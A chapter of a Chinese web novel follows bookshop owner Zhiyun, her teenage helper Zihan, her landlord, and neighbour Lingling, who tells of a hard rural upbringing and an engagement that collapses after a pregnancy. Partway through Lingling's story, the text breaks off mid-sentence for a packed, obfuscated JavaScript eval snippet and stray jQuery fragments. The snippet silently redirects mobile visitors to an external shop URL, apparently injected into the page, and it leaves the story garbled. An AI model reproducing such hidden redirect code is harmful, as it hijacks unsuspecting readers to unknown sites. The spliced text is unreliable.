知蕴本来以为,子涵说帮忙,只是说说而已,高中生三分钟热度,自己又忙,说不定过几天就忘了。
没想到子涵很当一回事。连续一周,知蕴到店里的时候,门都开好了,收款二维码也已经摆好。晏子涵事了拂衣去,到补习班去深藏功与名。
有时候知蕴还会收到子涵贴在柜台上的小便签。
比如:
姐姐!有客人来买走了一本书,我看标价20,就让她扫码了。
姐姐!早上有一群人进来逛,但是啥也没买。
姐姐!今天我打扫卫生了,我还把里面的红木书架也擦了擦。
子涵的字体圆圆的,知蕴每次看到她的纸条都会忍俊不禁。看到“姐姐!”两个字,就能想象到子涵带点撒娇的语气。
她看了看,书架之间还有不算宽的空位,她干脆在那墙上贴了一块毛毡板,放上笔和便签,变成饮山绿的留言区,这样不止是子涵,凡往来书友都可以留言了。
她在第一张回给子涵的便条上写了:喜欢的书可以拿走。【爱心】
周末,知蕴稍微早起了一点,在店里又见到子涵。这时候的子涵已经熟练得像个小掌柜,精气神满满,跟知蕴汇报早上进店的顾客数量。
“至于进账,居然还是零哎。”
知蕴咳嗽一声,说,非常正常,饮山绿开了到现在也没赚到什么钱,现在的阶段性目标是不亏钱。
“那一直不赚钱,会不会倒闭啊姐姐?”子涵显得比知蕴还紧张,“我们要不要考虑宣传一下我们书店呢?”
子涵很有归属感,说来说去已经变成“我们书店”了,知蕴暗笑,说不用她担心。
“哦对了对了,这几天还碰到一件怪事。”
子涵说,本来这个星期起头她每天七点钟就来给饮山绿开门,但是最近三天,总是遇到一个男生在她前头把饮山绿的门打开,在里面通风、扫地、擦书架。
她第一次看到的时候,还以为自己没睡醒看错了,这是遇到了什么怪人?除了她,谁会这么大早上来饮山绿?她紧张兮兮地迈进书店,正打算质问来者是谁,却又噎住了。
因为那“怪人”太帅了。
这么帅的人一般不能叫“怪人”,得叫帅哥。那人本来背对她在忙,转过身来,是轮廓分明、五官优越的一张脸,身材挺阔,一站在那儿就让子涵想到“长身玉立”这个词。
“哇太帅了,姐姐,真的很帅,比我们学校的男生帅多了。我不知道你能不能懂,他就是那种又有朝气少年感,又有经历阅历的那种帅——我不知道怎么表达,反正就是跟学校里的男生很不一样。”
沈知蕴的嘴角微微抽动一下,知道是程霁川来过了。
程霁川给晏子涵惊艳得说话都结巴了。对于高中生来说,本来平时接触的异性就少,其中90%都是身边稚气未脱的同学,哪里见过程霁川这种漂洋过海、花枝招展又不怎么要脸的品种?
都说少年心气,沈知蕴后来想想,觉得自己高中时代认为帅的男生大多都有校园氛围加成,在打篮球以及放榜的时候,这层debuff会叠满。
她还学理科竞赛的时候,觉得班里有位数学大神很帅。江雪听说以后,在班级合照里找到那个男生,还拿给沈青山看,两个人看完以后哈哈大笑,说女儿的审美怕不是有问题哦。此事直到大学还被津津乐道,因为江雪和沈青山怕她真的找一个目光冷漠、眼镜片比瓶底还厚、从鼻孔看人的男朋友。
沈知蕴那时被父母嘲笑的受不了了,把高中的合照翻出来,打算跟父母好好辩驳一番,结果自己看到照片先懵了,那人确实不如她高中时候看着帅了,普通到在一群男生里自己都要找好久才能找到。自己都想问问自己,高中时候审美是不是有毛病?
沈知蕴嗤笑一声:“如果出社会这么多年,还跟高中男生一样,那他不是白混了?”
“哦哦姐姐,那个帅哥今天还给你留东西了,我问他要不要留个便签。他说他留了怕你不吃了。”子涵指指柜台上那几个食盒,好奇地问,“所以,他到底是谁啊?你的朋友?”
知蕴走过去,是一个蓝色的保温饭盒,一层是鱼汤,一层各种杭州小菜,一层是米饭。
一份非常健康的杭式午饭。
程霁川对她的作息非常熟悉,熟悉到让知蕴心里觉得怪,一种无来由的怪,怪到最后有股无名火。
她拒绝甚至有点害怕程霁川进入她现在的生活和世界。
不为什么,她就是不愿意,她的世界一直在下雨,她是落汤鸡。
哪有落汤鸡愿意让人看到自己狼狈的模样?
程霁川就是这样,突然出现,带着一副自以为是的很了解她的态度,用什么东西刺挠她一下,在她发火之前转身离开,然后精准掐着她差不多已经独自吞咽咀嚼好的时刻,又带着其他的东西出现。
这顿午饭就是他的赔礼道歉。
她深吸一口气,转身跟子涵说:“那是房东。”
“房东?什么房东还天天上门帮你搞卫生、给你送东西吃啊?”
子涵的表情充满着狐疑和不信任。
“……他闲的,自己愿意。我也管不着。”
子涵的表情又变得耐人寻味起来,知蕴被她看的心里发虚,问她,你为什么一直看着我啊?
子涵嘿嘿一笑:“不为什么。”
知蕴赶她去上学。
下午,凌玲拎着新鲜的笋来串门,说是上次看她喜欢,就让乡下亲戚多寄了一点。这段时间,她自己研究什么甜品点心,也会给知蕴带一份。知蕴从有点不好意思,到了能从容接受了凌玲的“投喂”——她觉得凌玲有时候把她当不懂事的小孩子看,身上总散发着一种姐性光辉。
凌玲自己说,以前她店里小妹还没谈恋爱的时候跟她吃住都在一起,两个人聊聊天很开心,凌玲下厨,小妹做家务。但是人家现在跟男朋友住了,销售室友早出晚归,她就怪孤单的。
“其实我觉得她那个男朋友不大靠得住。”凌玲偷偷告诉过知蕴,“但是我又不能劝分手,像说教她,毕竟我也不是她的亲姐姐。”
知蕴想了想,凌玲应该是天生能从照顾人当中获得成就感的那类人。
这段时间,凌玲隔三岔五就会来店里听磁带,她说她学生时候,最喜欢孙燕姿和S.H.E的歌,后者的磁带饮山绿很少,孙燕姿倒是让知蕴拿货的时候误打误撞拿了大全套。
《我要的幸福》《风筝》《Leave》《未完成》《TheMoment》……
凌玲听着听着,知蕴都能背一点歌词了。什么“每一夜/月阴缺/我学会/不完美的美”“天黑黑/欲落雨/天黑黑/黑黑”。
今天凌玲来听最后一盒《逆光》。
“哟,今天好好吃饭了?”凌玲看见她桌上的饭盒,她照例关心她的饮食,并且执着于劝她回归早睡早起的正常作息,说她的瘦已经超越苗条的范畴,是消瘦了。
“吃得蛮好啊,肯定不能是你自己做的吧?”凌玲一眼看穿,笑道,“是不是我上次见到的那个小帅哥给你送的?”
知蕴不回答,只是把《逆光》找出来放到磁带机里,让她听歌就听歌,不要多嘴。
凌玲歪在沙发上,乜着眼笑着看她。
那笑只让知蕴觉得诡异。
她一脸冷淡地按下播放按钮:
“也许我一直害怕有答案/也许爱静静在风里打转……”
……
“有一束光/那瞬间/是什么痛得刺眼/你的视线/是谅解/为什么舍不得熄灭/我逆着光/却看见……”
哦,原来是这首歌。她回到桌前埋头吃饭,才发现这首歌的旋律自己是熟悉的,甚至能唱上两句。她放下碗筷去泡茶,一边泡一边轻轻哼唱起来。
一曲终了,她端着茶水来到里间。
才走两步,她的脚步陡地轻了——
她看见凌玲仰面阖着眼,完完全全地陷在沙发里。她精致的酒色卷发掩住了她一半的脸,但是知蕴还是看到几行泪从她紧闭的双眼里簌簌滚出。
似乎察觉到她过来,凌玲的眼微微睁开,泪如大雨倾盆,倾泻而下。
知蕴的脚步声很轻,她把茶水放在她面前的小茶几上,每个人都有这样的时刻,也许是这首歌给她特别多的感触吧。
饮山绿就应该包容这样的时刻,包容人对一本书、一首歌、几个词垂泪的时刻。
凌玲还是注意到她过来了,她把身体正了正,勉力笑道:“你见笑了。”
知蕴轻轻摇头,表示没事,正欲转身离开,却被凌玲叫住。
“陪我说说话吧。”
知蕴点点头,便坐下了。
“其实这盒磁带,我一开始就看到了,我觉得孙燕姿最好听的几首歌都在这盒里面。”凌玲抹了一把泪,“但是我真的不敢再听了。”
“不敢?”知蕴咀嚼这个词的分量。
“我是故意最后听《逆光》的。这首歌我听了很多很多遍,大概十几年前。”
凌玲二十出头的时候,这个世界还没有被AI制造的各种亦假亦真的信息淹没,智能手机就那么几个牌子,像素没有那么清晰,几个音乐软件都还可以免费听歌,蓝牙耳机也还没有发明还没有影儿。
她坐在南下的火车上,白色的耳机线缠的一圈一圈,手机里正一遍遍播放孙燕姿的《逆光》,那温柔轻灵的嗓音坚定地告诉她生命一定会有一束光,逆着光看见的泪光也是力量
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788843|210287||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
如果用一个词来形容凌玲生命的前二十多年,那么这个词就是“弯腰”。
凌玲先是弯下腰来帮母亲插秧,弯下腰来帮父亲做菜倒酒,弯下腰来给弟弟道歉。
又是弯下腰来恳求男友别抛弃她,恳求对方刻薄的父母让他们结婚。
她生在很传统的河南农村家庭,父母重男轻女,作为家中长姐的她几乎没有少女时期。在读书的时候,她就不停地奔波,给家里办事,还要遭受斥责、白眼和冷落。而弟弟从小就被宠爱长大,即使跟人打架、逃学、上网,家人还是认为他是个好孩子,只是男孩子都是“年纪小没定性”,以后一定还有远大前程。
她高考落榜,父母不愿出钱让她上大专,催促给她说媒嫁人,她好说歹说才给自己争取到了出去打工的机会。她想上学,她知道自己有朋友复读去了,第二年考上了不错的公办。但是她却一辈子都摆脱不了自己的高中学历。
而弟弟明明成绩比她还差,却可以上大几万学费一年的民办,整天把“家里第一个大学生”挂在嘴上。
凌玲非常聪明,她从小帮父母干活,手脚麻利,会看人眼色。离家以后,辗转在纺织工厂、连锁超市、咖啡甜品店都打过工,先后学做纺织女工、销售、甜点师,至多一个星期,就能对工作上手,一两个月后,就能跟人家工作一两年的员工一样熟练。她遇到的每个老板脾气都不好,但都无一例外对她刮目相看,想让她一直都在自己这里做事。
但是凌玲不愿意,她每做一段工作,适应一个环境,都会迅速对环境感到厌倦。一旦身边的人开始了解她,她就会觉得无比窘迫和自卑,她不愿意对别人透露自己过去和家事。不工作的时候,她喜欢沉浸在自己的小世界里,听歌、散步、做手工,跟上学的时候一样。
凌玲在做甜点师的时候,认识了一个客人。他长得白白净净,在小公司上班,总是自己来,来的时候,都买差不多的蛋糕。有一次那蛋糕的一种材料断货了,很久没有再做。客人有点失望,她推荐了别的品类给他,两人就这么认识了。
之后凌玲知道,他是因为相亲才每次都来买蛋糕,买完了蛋糕以后,他还会到隔壁花店买一束花。相熟后,他来甜品店的频率就高了起来,凌玲嘲笑他,居然这么跟相亲的女孩相处,怪不得相了好几次都没有成果。
他说自己没怎么跟女生相处过,但是简单的爱情就这么开始了。
那男人比凌玲大五岁。
凌玲跟知蕴说,她很喜欢自己这个前男友,遇见他可能花光了自己所有的运气。虽然他有时候显得很傻,要讨她欢心总是用一些笨办法,然后弄巧成拙,但是两个人在一起的时候真的很开心。
“他非常喜欢我做的甜品,经常说以后这样肯定要得糖尿病了。”凌玲想到这里就笑了,“我们在一起的时候长胖好多。”
“那后来呢?”知蕴问。
“后来我怀孕了,我以为我们要结婚。”凌玲说。
凌玲怀孕以后,前男友张罗见父母上门。他家是城市家庭,自己也有一份安稳的工作,虽然赚不了很多钱,但两个人在一起,有大好的年华可以共同奋斗。那段时间是凌玲觉得最幸福的时候,她终于可以有自己的小家,终于可以不再见到父母弟弟,终于可以有一个地方存放自己学生时候的随身听、手工布偶。
父母听闻男方家庭条件不错,当然一百个愿意把女儿嫁出去,还可以收彩礼钱。他们以凌玲从未见过的亲热状态,提上烟酒,嚷嚷着要和男方父母见面。
一切都在之后急转直下。前男友是城市家庭,工薪阶层,他们看不上穷乡僻壤里的农村家庭,双方父母会面的时候,气氛很尴尬。特别是男方的妈妈,话里话外指责凌玲未婚先孕没有自尊自爱。凌玲父母离开以后,男方的母亲甚至直接告诉她,你一个高中毕业就出社会的女孩子,别妄想凭自己肚子里有货就进我们家门,这样的基因生出来的小孩,是必定不会成器的。
“还有你那父母,张口就要三十万的彩礼,你跟你父母商量过吧?你们是什么家庭?能教出来怎么样的子女?我们家可不是下乡扶贫的。”那女人咬着后槽牙,对她轻蔑地说。
凌玲受了好大的屈辱,不管她怎么解释,也改变不了自己在前男友母亲心中的印象。前男友急的焦头烂额,每天都夹在家庭和凌玲之间调解,他拍着胸脯跟凌玲保证,自己绝对会娶她,绝不会让她在家里受委屈。
凌玲逐渐显怀,又得不到准确的答复。老家父母那边意见也很大,开始带着有色眼镜看她,说她没本事,管不住自己的大腿,上赶着怀了人家孩子,结果让父母跟着一起受脸色。
“你知道他爸妈想让我怎样吗?”凌玲说到这里,故作轻松地笑了笑。